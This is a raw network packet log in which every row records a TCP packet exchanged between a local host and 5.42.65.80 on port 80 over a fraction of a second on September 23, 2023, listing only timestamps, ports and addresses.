Sep 23, 2023 17:53:23.605248928 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.605369091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.605453014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.605498075 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.605532885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.605580091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.605618954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.605674982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.605700016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.605734110 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.605748892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.605794907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.605818987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.605832100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.605886936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.605921984 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.605956078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.606127977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.606168032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.606328964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.606368065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.606408119 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.606441975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.606563091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.606600046 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.606656075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.606722116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.606758118 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.606769085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.606816053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.606854916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.606910944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607014894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607053995 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.607088089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607134104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607171059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.607254028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607340097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607377052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.607410908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607505083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607542992 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.607577085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607645988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607682943 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.607739925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607830048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607865095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.607898951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.607981920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.608017921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.608043909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.608458042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.608513117 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.608568907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.608647108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.608684063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.608738899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.608799934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.608830929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.608839035 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.608891010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.608928919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.608961105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.609159946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.609199047 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.609222889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.609253883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.609294891 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.609349966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.609462976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.609500885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.609570980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.609675884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.609709024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.609715939 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.609906912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.609946012 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.610130072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.610301971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.610344887 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.610382080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.610440969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.610479116 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.610506058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.610605001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.610656977 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.610676050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.610878944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.610919952 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.610961914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.611118078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.611155033 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.611196041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.611314058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.611346006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.611355066 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.611407042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.611440897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.611443043 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.611524105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.611563921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.611592054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.611706018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.611745119 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.611776114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612032890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612063885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612071991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.612169027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612209082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.612226009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612286091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612318039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612324953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.612377882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612410069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612417936 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.612679005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612721920 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.612771988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612938881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612971067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.612978935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.613003016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.613034010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.613045931 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.613094091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.613133907 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.613295078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.613478899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.613518953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.613586903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.613758087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.613794088 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.613795996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.613908052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.613943100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.613965988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.613982916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.614015102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.614070892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.614170074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.614209890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.614236116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.614294052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.614329100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.614353895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.614459991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.614495039 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.614607096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.614732027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.614768982 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.614808083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.614972115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.614989042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.615010977 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.615036011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.615071058 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.615094900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.615187883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.615225077 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.615226030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.615276098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.615310907 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.615375996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.615868092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.615910053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.615933895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.615963936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616003036 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.616028070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616079092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616117954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.616143942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616214991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616254091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.616280079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616440058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616481066 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.616571903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616760969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616801023 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.616812944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616842985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616878986 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.616904020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616919994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.616955996 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.616995096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.617017984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.617073059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.617089033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.617594957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.617685080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.617691040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.617727041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.617764950 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.617789984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.617866993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.617902040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.617983103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.618056059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.618093967 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.618158102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.618604898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.618645906 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.618685961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.618767977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.618807077 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.618881941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.618958950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.618995905 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.619196892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.619277000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.619314909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.619339943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.619589090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.619628906 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.619685888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.619748116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.619782925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.619822979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.619908094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.619949102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.620073080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.620276928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.620317936 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.620368004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.620568037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.620606899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.620615005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.620703936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.620744944 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.621083975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.621153116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.621193886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.621203899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.621254921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.621306896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.621402979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.621473074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.621547937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.621637106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.621696949 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.621722937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.621762991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.621932983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.622008085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.622050047 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.622056961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.622133970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.622168064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.622303963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.622426033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.622462034 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.622483969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.622572899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.622608900 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.622812986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.622870922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.622905016 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.622944117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.622997046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623039007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.623039961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623123884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623162985 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.623202085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623282909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623317003 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.623322964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623399973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623435020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.623473883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623683929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623722076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.623761892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623795986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623830080 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.623847008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623908043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623941898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.623943090 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.624017000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.624049902 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.624099016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.624171019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.624212027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.624301910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.624777079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.624833107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.624859095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.624980927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.625019073 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.625045061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.625073910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.625102043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.625106096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.625221968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.625260115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.625318050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.625817060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.625853062 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.625891924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.625916004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.625947952 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.625967979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626020908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626055002 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.626326084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626342058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626378059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.626419067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626522064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626557112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.626586914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626696110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626732111 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.626756907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626796007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626811981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626830101 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.626877069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626915932 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.626918077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.626981020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.627016068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.627183914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.627288103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.627330065 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.627338886 CEST	80	49781	5.42.65.80	192.168.2.4
